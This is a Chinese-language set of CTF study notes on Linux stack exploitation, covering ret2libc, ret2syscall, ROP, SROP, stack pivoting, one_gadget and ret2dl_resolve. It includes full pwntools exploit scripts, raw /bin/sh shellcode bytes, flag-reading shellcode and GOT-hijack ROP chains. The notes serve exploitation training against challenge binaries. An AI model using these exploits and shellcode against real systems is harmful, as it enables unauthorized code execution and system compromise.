PWN入门到入狱-Stack

ELF

有以下几种方法操纵ELF:

  • symbols['a_function'] 找到 a_function 的地址
  • got['a_function'] 找到 a_function的 got
  • plt['a_function'] 找到 a_function 的 plt
  • next(elf.search("some_characters")) 找到包含 some_characters(字符串,汇编代码或者某个数值)的地址.

one_gadget

  • 概要

one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。

相比于system("/bin/sh"),这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。

  • 安装与使用方法

首先需要安装Ruby(Ruby < 2.4 会导致one_gadget无法安装,最好是通过添加仓库的方式安装)

1
2
3
4
5
6
7
8
# 添加仓库
sudo add-apt-repository ppa:brightbox/ruby-ng
sudo apt-get update
# 指定ruby 2.6版本
sudo apt-get install ruby2.6 ruby2.6-dev

# 贴一条删除旧版本ruby的命令
sudo apt-get purge --auto-remove ruby

然后安装one_gadget

1
sudo gem install one_gadget

使用方法很简单

1
one_gadget libc.so.6

one_gadget并不总是可以获取shell,它首先要满足一些条件才能执行成功(如果没有满足条件也执行成功了,那纯粹就是靠脸了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unravel@unravel:~/Desktop/note$ one_gadget libc-2.23.so

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL # 这个提示的意思就是在调用one_gadget前需要满足的条件
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
  • 总结

以前从来没注意过one_gadget的调用过程,借这次比赛机会了解了一下,也学到了很多小技巧,在这里记录一下。

  • 如果是使用_malloc_hook来调用one_gadget,那么需要配合realloc来构造所需参数,realloc在libc中的符号是__libc_realloc
  • 如果是使用其他方式调用one_gadget,比如说修改GOT表,那么需要在栈上提前构造好参数,或者将rax寄存器清零
  • 在泄露libc地址的时候,最好是泄露read函数的地址,因为read函数距离one_gadget的偏移是不会变的,只需要将read函数真实地址减去0x6109,就可以使用one_gadget了,具体可以自行调试一下便知。那这么做的好处就是不用去知道libc的版本,省了很大一部分时间和精力,libc版本是个坑,懂的都懂。
  • one gadget在32位的libc上会很难去找,也很难用。

函数后不直接加参数

  • 注意不能在vulnerable函数的返回地址后面直接跟参数,我们需要模拟call system函数的过程,在这个过程中call有一步是将下一条指令的地址压栈,所以我们需要构造一个假的返回地址,当然这个内容随意。

  • 但是当我们需要回显时最好使用exit:

  • 返回地址,这个地址不能乱写,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出。

  • C语言有个函数是exit,只要执行这个,我们把函数的返回地址写成exit的地址,程序就可以结束并且有回显了。

mprotect

  • int mprotect(const void *start, size_t len, int prot);

    • 第一个参数填的是一个地址,是指需要进行操作的地址。

    • 第二个参数是地址往后多大的长度。

    • 第三个参数的是要赋予的权限。

  • mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。prot=7为可读可写可执行。

  • 需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

  • mprotect函数只要设置3个参数,这边就借用3个寄存器

1
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
  • 然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,需要继续控制程序
1
2
3
4
5
6
7
payload += p32(pop3_ret) 

payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)

payload += p32(read_addr)
  • read函数原型
1
2
3
4
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
  • 可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令
1
2
3
4
5
6
7
payload += p32(pop3_ret)  

payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)

payload += p32(mem_addr)#将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
  • 到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可
1
2
3
r.sendline(asm(shellcraft.sh()))#shellcode可以利用pwntools直接生成
# shellcode=asm(shellcraft.sh())
# shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

read和write函数的输入输出

  • read函数第一个参数为0,为从输入端读取内容
  • write函数第一个参数为1,为输出内容

使用 DynELF 泄露函数地址

在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。

为了使用 DynELF,首先需要有一个 leak(address) 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 d = DynELF(leak, main),该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。

  • 类 DynELF 的初始化方法如下:
1
def __init__(self, leak, pointer=None, elf=None, libcdb=True):
  • leak:leak 函数,它是一个 pwnlib.memleak.MemLeak 类的实例

  • pointer:一个指向 libc 内任意地址的指针

  • elf:elf 文件

  • libcdb:libcdb 是一个作者收集的 libc 库,默认启用以加快搜索。

  • 导出的类方法如下:

    • base():解析所有已加载库的基地址
    • static find_base(leak, ptr):提供一个 pwnlib.memleak.MemLeak对象和一个指向库内的指针,然后找到其基地址
    • heap():通过 __curbrk(链接器导出符号,指向当前brk)找到堆的起始地址
    • lookup(symb=None, lib=None):找到 lib 中 symbol 的地址
    • stack():通过 __environ(libc导出符号,指向environment block)找到一个指向栈的指针
    • dynamic():返回指向 .DYNAMIC 的指针
    • elfclass:32 或 64 位
    • elftype:elf 文件类型
    • libc:泄露 build id,下载该文件并加载
    • link_map:指向运行时 link_map 对象的指针
  • 实例:

在 libc 中,我们通常使用 writeputsprintf 来打印指定内存的数据。

write 函数用于向文件描述符中写入数据,三个参数分别是文件描述符,一个指针指向的数据和写入数据的长度。该函数的优点是可以读取任意长度的内存数据,即打印数据的长度只由 count 控制,缺点则是需要传递 3 个参数。32 位程序通过栈传递参数,直接将参数布置在栈上就可以了,而 64 位程序首先使用寄存器传递参数,所以我们通常使用通用 gadget 来为 write 函数传递参数。

例子是 xdctf2015-pwn200,在这个程序中也只有 write 可以利用:

1
2
3
4
$ rabin2 -R pwn200
...
vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write

另外我们还需要 read 函数用于读入 ‘/bin/sh` 到 .bss 段中:

1
2
$ readelf -S pwn200 | grep .bss
[25] .bss NOBITS 0804a020 00101c 00002c 00 WA 0 0 32

栈溢出漏洞很明显,偏移为 112:

在 r2 中对程序进行分析,发现一个漏洞函数,地址为 0x08048484

于是我们构造 leak 函数如下,即 write(1, addr, 4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def leak(addr):
payload = "A" * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(addr)
payload += p32(4)
io.send(payload)
data = io.recv()
log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
return data

d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)

注意我们需要一个 pppr 的 gadget 来平衡栈:

1
2
3
$ ropgadget --binary pwn200 --only "pop|ret"
...
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret

得到了 system 的地址,就可以利用 read 函数读入 “/bin/sh”,从而得到 shell,完整的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

# context.log_level = 'debug'

elf = ELF('./pwn200')
io = process('./pwn200')
io.recvline()

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']

vuln_addr = 0x08048484
start_addr = 0x080483d0
bss_addr = 0x0804a020
pppr_addr = 0x0804856c

def leak(addr):
payload = "A" * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(addr)
payload += p32(4)
io.send(payload)
data = io.recv()
log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)

payload = "A" * 112
payload += p32(read_plt)
payload += p32(pppr_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system_addr)
payload += p32(vuln_addr)
payload += p32(bss_addr)

io.send(payload)
io.send('/bin/sh\x00')
io.interactive()

沙箱

  • 使用沙箱可以 禁用/允许 一些系统调用:

    • 沙箱信息查看: seccomp-tools dump ./binfile
  • 可以使用orw时:

    1
    2
    3
    fd = open('./flag') #打开flag,得到fd
    read(fd, buf, 0x30) #通过fd将flag的内容读取到内存
    write(1, buf, 0x30) #将内存中的flag内容输出到屏幕
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    pl = """
    xor eax, eax;
    xor ebx, ebx;
    xor ecx, ecx;
    xor edx, edx;

    push 0x00006761; # \x00\x00ga
    push 0x6c662f2e; # lf/.

    mov eax, 5; # open syscall number
    mov ebx, esp; # filename
    int 0x80; # eax = fd

    mov ebx, eax; # read syscall number
    mov ecx, esp; # buff = esp
    mov edx, 0x30; # size = 0x30
    mov eax, 3; # read syscall number
    int 0x80;

    mov ebx, 1; # fd = stdout
    mov ecx, esp; # buff = esp
    mov edx, 0x30; # size = 0x30
    mov eax, 4; # write syscall number
    int 0x80;

    """
    pl = asm(pl)
    1
    2
    3
    from pwn import *
    map(hex, unpack_many("./flag "))
    ['0x6c662f2e', '0x20206761']

ret2text

  • gdb 中确定偏移量:cyclic

    1
    2
    cyclic 200
    cyclic -l 0x******** / aaaa
  • 使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。

    1
    2
    3
    4
    5
    6
    7
    8
    gdb-peda$ pattern_create 50
    'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
    gdb-peda$ pattern_offset $ebp
    1093681473 found at offset: 40
    gdb-peda$ pattern_offset $eip
    1094796865 found at offset: 44
    gdb-peda$ pattern_offset 0x47414131
    1095188801 found at offset: 52
  • 有 system,有 binsh 字符串

    • 32位参数压栈构造 system(‘/bin/sh’) 也就是字符串压入栈

      • 栈结构如下:padding+ebp+&system+ret_addr_for_system+&/bin/sh
    • pl = 140*'a'
      pl += p32(elf.plt['system'])
      pl += 'aaaa'      # ret_addr_for_system 可以随意编写
      pl += p32(0x&binsh)
      
      1
      2
      3
      4
      5
      6
      7

      - 64位参数通过ROP构造 `system(‘/bin/sh’)`

      - ```python
      pl = 140*'a'
      pl += p64(pop_rdi_ret)+p64(binsh)
      pl += p64(elf.plt['system'])
  • 存在情况: 有时候64bit call system 的时候会崩溃,这是因为2.27有优化,system 的栈地址没有对齐

    • system 前面加一个 ret 指令就好了
  • ROPgadget 查找字符串和可利用 gadget

    1
    2
    3
    4
    ROPgadget --binary binfile  --only 'pop|ret'
    ROPgadget --binary binfile --only 'pop|ret' | grep 'eax'
    ROPgadget --binary binfile --string "/bin/sh"
    ROPgadget --binary binfile --only 'int'
  • 查找 plt 地址

    1
    2
    elf = ELF('./binfile')
    pl += p64(elf.plt['system'])

ret2shellcode

  • 程序泄露的获取

    1
    2
    3
    4
    p.recvuntil("*****")
    leak = p.recvuntil("?", drop = True)
    log.info("leak: " + leak)
    # *****0xffa2d5d0?
  • shellcode

    1
    2
    context.arch = 'i386'
    shellcode = asm(shellcraft.sh())
1
2
3
4
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
  • nop: "\x90"
  • 对齐:str.ljust(len, "*")str.rjust(len, "*")str.center(len, "*")

ret2syscall

  • syscall -> execve

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    set_rax = 0x********
    set_rdi = 0x********
    set_rsi = 0x********
    set_rdx = 0x********

    binsh = 0x********
    do_syscall = 0x********

    # execve("/bin/sh", NULL, NULL)
    # rax = 59 # 64 bit
    # rdi = &"/bin/sh"
    # rsi = 0
    # rdx = 0

    pl = 8*'a'
    pl += p64(set_rax)+p64(59)
    pl += p64(set_rdi)+p64(binsh)
    pl += p64(set_rsi)+p64(0)
    pl += p64(set_rdx)+p64(0)
    pl += p64(do_syscall)
  • 程序执行断开,脚本上运行的话就需要用到另一个工具来断开,这个工具就是pwntools自带的shutdown功能,可以直接关闭流

  • open-read-write获得flag

    • 对于需要系统调用来ROP的题基本上都可以用这种方法来构造ROP链,
    • 于是我们可以想办法去构造这样的代码来拿到flag
    1
    2
    3
    int fd = open("flag",READONLY);
    read(fd,buf,100);
    printf(buf);
  • GOT表劫持获得syscall

    • 通过GOT表劫持将alarm函数的GOT地址改为我们想要的函数的地址。
    1
    2
    3
    4
    5
    0x7ffff7ea2dc0 <alarm>       endbr64 
    0x7ffff7ea2dc4 <alarm+4> mov eax, 0x25
    0x7ffff7ea2dc9 <alarm+9> syscall
    0x7ffff7ea2dcb <alarm+11> cmp rax, -0xfff
    ► 0x7ffff7ea2dd1 <alarm+17> jae alarm+20 <alarm+20>
    • 通过gdb调试还可以看到,在alarm偏移量为9的地方是syscall,但是起始地址是endbr64
    • 这里alarm函数的起始地址应该为alarm+4那段地址,于是syscall相对于alarm函数的地址偏移为0x5
    • 地址有了,接下来就是想办法劫持alarm函数,将他的地址改为syscall指令了。
    1
    $ ROPgadget --binary Recho --only "add|ret"
    • 存在add指令,可以修改指定的寄存器指向的地址的值
    • 这里的[]是间接寻址,即将al的值加到rdi寄存器存储的地址上面存储的数据上
    1
    2
    3
    4
    5
    6
    7
    payload = 'A'*0x30  #覆盖buf[40]; // [rsp+10h] [rbp-30h] 
    payload +='A'*0x08 #覆盖 rbp
    #alarm GOT表劫持到syscall位置
    payload += p64(pop_rax_ret)+p64(0x5)
    payload += p64(pop_rdi_ret)+p64(alarm_got)
    payload += p64(rdi_add_al_ret)
    # 现在 alarm_plt 即是 syscall
  • OPEN_READ_WRITE

    • 已经获得了syscall指令,然后又在数据段找到了flag字符串
    1
    .data:0000000000601058 flag            db 'flag',0
    • 需要将flag文件打开为一个流,通过syscall实现
    1
    2
    3
    4
    5
    6
    7
    payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag

    payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
    payload += p64(pop_rdx_ret)+p64(0) # rdx = 0
    payload += p64(pop_rax_ret)+p64(0x2) # rax=2,open的调用号为2
    # 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,rcx,r8,r9
    payload += p64(alarm_plt)
    • 接下里就是将flag文件写到bss段
    • 通过调试可以看到bss段是可写的。于是构造脚本
    1
    2
    3
    4
    5
    # 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)
    payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加
    payload += p64(pop_rdx)+p64(0x2d) #指定长度
    payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =写入的地址,用于存取open结果
    payload += p64(read_plt)
    • 最后输出flag即可
    1
    2
    3
    4
    payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
    payload += p64(pop_rdx)+p64(0x40)
    payload += p64(pop_rdi)+p64(0x01)
    payload += p64(write_plt)
  • 再强调一点就是64位系统传参方式都是先用寄存器传参,然后用栈传参,无论是系统调用还是普通的函数调用。传参顺序是rdi,rsi,rdx,rcx,r8,r9。rax寄存器在构造exp中,可用于劫持got表,调用系统序号函数。

  • 断开流,shutdown(‘send’)用于跳出函数无线循环。

  • 补充说明endbr64指令

    • Intel CET提供了影子栈及间接跳转指令追踪功能,保护控制流完整性。
    • Intel CET相关的指令如endbr64是后向(backward)兼容的。
    • 在Intel CET中,间接跳转的处理逻辑中被插入一段过程:将CPU状态从DLE切换成WAIT_FOR_ENDBRANCH。
    • 在间接跳转之后查看下一条指令是不是endbr64。如果指令是endbr64指令,那么该指令会将CPU状态从WAIT_FOR_ENDBRANCH恢复成DLE。另一方面,如果下一条指令不是endbr64,说明程序可能被控制流劫持了,CPU就报错(#CP)。因为按照正确的逻辑,间接跳转后应该需要有一条对应的endbr64指令来回应间接跳转,如果不是endbr64指令,那么程序控制流可能被劫持并前往其它地址(其它任意地址上是以非endbr64开始的汇编代码)(涉及编译器兼容CPU新特性)。

ret2libc

  • libc 库中有 system 函数和 binsh 字符串和更好用的gadget,然而往往 ASLR 导致每次 libc 位置变化。

  • 但是 libc 内部偏移不变,如果read函数的真实地址已知,就可以计算出system的真实地址。

  • 由于是按页分配(4KB),libc地址结尾一定是000;

  • 不同版本libc中,函数的偏移基本不同;

  • 通过低三位可以判断使用的libc版本,和其他函数的偏移地址

  • 在线查询: https://libc.nullbyte.cat/

  • 常见的可以获取libc地址

    • GOT表保存的地址
    • 栈上的地址
    • 堆上的地址(unsortedbin, largebin, smallbin, …)
  • ret2plt

    • 程序中存在write, puts这样的输出函数
    • 通过ROP泄露函数在libc中的真实地址,system地址, binsh地址
    • 通过read来劫持got表,例如将puts改成system
    • puts(‘/bin/sh’) => system(‘/bin/sh’) 从而getshell
  • ret2plt 栈设计

    • 栈情况:low -> high
    • padding -> pop rdi ret -> puts@got -> puts@plt -> pop rdi ret -> 0 -> pop rsi ret -> puts@got -> pop rdx ret -> 8 ->read@plt -> pop rdi ret -> &‘/bin/sh’ -> puts@plt ……
    • code 情况:
    • ret -> pop rdi -> ret -> jmp puts(puts@got) -> ret -> pop rdi -> ret -> pop rsi -> ret -> pop rdx -> ret -> jmp read(0,puts@got,8) -> ret -> pop rdi ->ret -> jmp*(puts@got)==system
    • 要求: got表可写,即RELRO没有全开时候才能劫持got表;一般程序没有pop rdx;ret 的gadget
  • 泄露地址后返回main重新执行栈溢出

    • 通过ROP 调用puts@plt,将got表中puts的真实地址泄露出来
    • 栈(low -> high):pop rdi;ret -> puts@got -> puts@plt 实现泄露libc地址,计算system和binsh的地址
    • 修改后:栈(low -> high):pop rdi;ret -> puts@got -> puts@plt -> main -> 再次触发溢出;第二次栈情况: padding -> pop rdi;ret -> &‘/bin/sh’ -> system

已知libc版本时,本地可用以下方法

1
2
3
4
5
6
libc=ELF('libc6_2.23-0ubuntu11.3_i386.so')
offset=read_addr-libc.symbols['read']
system=libc.symbols['system']+offset
# ROPgadget --binary libc6_2.23-0ubuntu11.3_i386.so --string /bin/sh
# 0x0015bb2b : /bin/sh
binsh=0x0015bb2b+offset

ret2csu

  • 有通用的可以控制rdx的gadget

  • 在初始化libc的时候会调用一个函数,叫做 __libc_csu_init

    image-20210828195245247

  • 结尾有很多pop指令,可以用来当gadget;可以控制rbx, rbp, r12, r13, r14, r15

  • 看一下call附近,在call之前给rdx, rsi, edi进行了赋值

    • 第一个参数 edi <- r15
    • 第二个参数 rsi <- r14
    • 第三个参数 rdx <- r13
    • 虽然是给edi赋值但是高位也是0
    • 一般用低位就够了
  • 注意到 r13 r14 r15通过之前的gadget是可以控制的所以三个参数我们都可以控制了

  • 而r12和rbx也是可控的,合理使用可以控制call的函数地址

  • 控制方法:

    • 例如:想要调用 write
    • 让 rbx = 0
    • 让 r12 = write@GOT
    • 填的不是函数地址,而是存函数地址的指针
  • 绕过后边的jnz跳转

    • 因为rbx 和rbp 都是可控的
    • 控制rbx=0,rbp=1就可以避免执行跳转
  • 注意add rsp, 8,相当于pop了一次。所以跳转过来后相当于pop了7次,填充7*8个字节

  • 继续优化:

    • 让payload更短

      • 重用
      • 某些寄存器已经赋值好了
    • 条件没有那么好?

      • 最起码可以控制寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
csu_ptr1 = 0x40089A
csu_ptr2 = 0x400880

def csu_pl(func, rdi, rsi, rdx):
rbx = 0
rbp = 1
r12 = func
r13 = rdi
r14 = rsi
r15 = rdx
pl = ''
pl += p64(csu_ptr1)
pl += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
pl += p64(csu_ptr2)
pl += 7*8*b'a'
return pl
init = init_addr
pl = b'a'
pl += csu_pl(init,0,0,0xdeadbeef)# init把ret2win放到栈上来调用
pl += p64(ret2win)
# init函数开辟栈空间但不会影响寄存器值(只操作了rax)

orw

64位

  • shellcode
1
2
3
4
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
#pwntools
context.arch = elf.arch
shellcode = asm(shellcreaft.sh())
  • orw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pwntools
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
payload1 = asm(shellcode)

shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
  • shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
context.arch = elf.arch
shellcode = asm(shellcreaft.sh())

shellcode = asm('''
push eax
pop ebx
push edx
pop eax
dec eax
xor al,0x46
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx # set al=0xb
pop eax
xor al, 0x41
xor al, 0x40
push edx # set ecx=0
pop ecx
push 0x68 # push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
''')
  • orw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#write by asm
shellcode = """
/*open(./flag)*/
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f2e
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
/*read(fd,buf,0x100)*/
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
/*write(1,buf,0x100)*/
mov ebx,0x1
mov eax,0x4
int 0x80
"""

#pwntools
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
payload1 = asm(shellcode)

stack pivot

  • 栈劫持、栈转移

    • 场景
      • 可以溢出的长度很少,ROP不够长
      • 开启PIE,栈的地址不知道,但是有些可控位置已知,如bss
    • 怎么转移栈?
      • 通过直接控制rsp(用控制rsp的gadget)
      • 通过ebp/rbp
        • 两次leave ret
  • 在函数开始时

    • push ebp
    • mov ebp, esp
  • 函数准备ret时

    • leave
      ret
      
      1
      2
      3
      4
      5
      6
      7

      相当于

      - ```asm
      mov esp, ebp
      pop ebp
      ret
      leave将ebp的值赋值给esp,而ebp在栈上我们可以控制
    • esp可以控制
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49

      把返回地址覆盖为leave ret的地址


      - 但是把esp劫持到哪?
      - 已知的地址:常用的就是bss
      - 不能从rsp指到的位置开始ROP,还需要填充8字节(8*b‘a’),因为leave后还有一个ret
      - 主要意图就是把ROP链放在填充字节内,然后把溢出后的流程指回到栈上继续执行。

      ![image-20220307111122983](https://ma9ic-image.obs.cn-north-4.myhuaweicloud.com/images/image-20220307111122983.png)

      ```python
      p.recv()

      # 泄露ebp地址
      pl=80*'a'
      p.send(pl)
      p.recvuntil(80*'a')
      leak=u64(p.recv(6).ljust(8,'\x00'))
      log.info('leak:'+hex(leak))
      input_start=leak-0x70

      # 泄露puts函数地址
      p.recv()
      pl=8*'a'
      pl+=p64(pop_rdi_ret)+p64(elf.got['puts'])
      pl+=p64(elf.plt['puts'])
      pl+=p64(read_input)
      pl=pl.ljust(80,'a')
      pl+=p64(input_start)
      pl+=p64(leave_ret)
      p.send(pl)

      # 算libc
      p.recvuntil('\n')
      leak=u64(p.recv(6).ljust(8,'\x00'))
      log.info('leak:'+hex(leak))
      libc=
      system=
      binsh=

      # 构造system的ROP链
      pl = 8*'a'
      pl+=p64(pop_rdi_ret)+p64(binsh)
      pl+=p64(system)
      pl=pl.ljust(80,'a')
      pl+=p64(input_start)
      pl+=p64(leave_ret)
      p.send(pl)
1
2
3
# 泄露地址用
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak:'+hex(leak))

srop

  • signal机制

    • signal是进程间互相传递信息的一种方法
    • 软中断
    • 内核为进程保存上下文(保存在栈上)
      • 各个寄存器
      • signal信息
      • sigreturn地址

    image-20220307205020186

    • signal frame

      image-20220307205541528

      • 不同架构的signal frame是不同的
    • 执行sigreturn

      • 恢复上下文
        • 对应的寄存器pop回去
        • 恢复进程执行
      • 不同架构的sigreturn调用号不同
        • 32位:77,64位:15
  • signal机制

    • 1.signal frame在用户空间,用户可读写
    • 2.sigreturn并不会校验signal frame
  • 基本思路

    • 伪造signal frame
    • 所有寄存器可以控制
    • 还可以构造srop chain
  • 攻击限制

    • binsh地址已知
    • 指令地址已知(system)
    • 栈空间装得下
  • 额外的技巧

    • 控制rax可以通过函数返回值(函数返回值保存在rax寄存器中)

    • pwntools中有现成的srop工具

      1
      2
      3
      4
      frame1=SigreturnFrame()
      frame1.rax=
      frame1.rdi=
      payload=str(frame1)
    • 有时候并不是一步srop直接拿到shell,需要多个或和rop搭配使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
context.arch=''
frame=SigreturnFrame()
frame.rax=constants.SYS_read # 系统调用read函数,也可以寻找匹配的系统调用号
frame.rdi=0
frame.rsi=0x600a00 # 选可读可写可执行的地址写入shellcode
frame.rdx=0x100 # 读入长度
frame.rip=syscall_ret
frame.rsp=0x600a00

pl=''
pl+=0x20*'a'
# 利用read函数返回值为读入长度,且返回值保存在rax来控制rax
pl+=p64(read_input)
pl+=p64(syscall_ret)
pl+=str(frame)
p.send(pl)

sleep(5)

p.send(15*'a')
sleep(1)
shellcode = asm(shellcraft.amd64.linux.sh())

pl = p64(0x600a10)+p64(0)+shellcode
p.send(pl)

ret2dl_runtime_resolve(freebuf)

  • 利用动态链接解析地址
  • 对动态链接函数重定位: _dl_runtime_resolve(link_map, rel_offset)
  • 通过控制其中的参数,可以控制解析处那个函数的地址
  • 场景
    • 没有泄漏的函数,程序中没有使用
    • 远程是奇怪的libc,无法通过一些方法来计算其它函数或者字符串的地址

ELF Relocation

  • Lazy Binding(延迟绑定)机制

  • 例如第一次调用read

    • 先到read@plt
    • 先jmp到got里的地址
    • 实际上存的是read@plt+6
    • 相当于继续执行下一条指令
    • push一个参数,也就是rel_offset
    • 之后跳转到pre_resolve,(0x8048380)
    • 又push一个参数(link_map)
    • 跳转到_dl_runtime_resolve

    image-20220316085229039

    等同于

    image-20220316090300867

    • 从JMPREL开始保存的Elf32_Rel结构体
    • push的参数是rel_offset
    • rel_offest就是read函数对应的Elf32_Rel结构体到JMPREL头部的偏移

    image-20220316090921725

    (val=r_info)

    • 通过rel_offest找到结构体之后
    • 通过r_info计算R_SYM和R_TYPE
    • 通过R_SYM找到SYMTAB上的Elf32_Sym结构体

    image-20220316091324724

    image-20220316091550934

    • st_name保存的是函数名(字符串)到STRTAB头的偏移
    • 找到“read”字符串
  • 简要概括

    • 第一次调用,call read(0, buf, 0x100)

    • 第一步,找到Elf32_Rel位置

      1
      Elf32_Rel * rel_entry = JMPREL + rel_offset;
    • 第二步,找到Elf32_Sym位置

      1
      Elf32_Sym * sym_entry = &SYMTAB [ELF32_R_SYM(rel_entry->r_info)];
    • 第三步,找到sym_name位置

      1
      char * sym_name = STRTAB + sym_entry -> st_name;
    • 第四步,定位

      1
      _search_for_symblo_(link_map, sym_name);
    • 第五步,调用

      1
      read(0, buf, 0x100)
  • 解析到system利用思路

    • 32位为例
    • 覆盖返回地址为pre_resolve
    • 给_dl_runtime_resolve和system布置好参数和返回地址、
    • 布置好fake的结构体(伪造好的Rel和Sym的结构体)
    • 进入到system,getshell

    image-20220316093112070

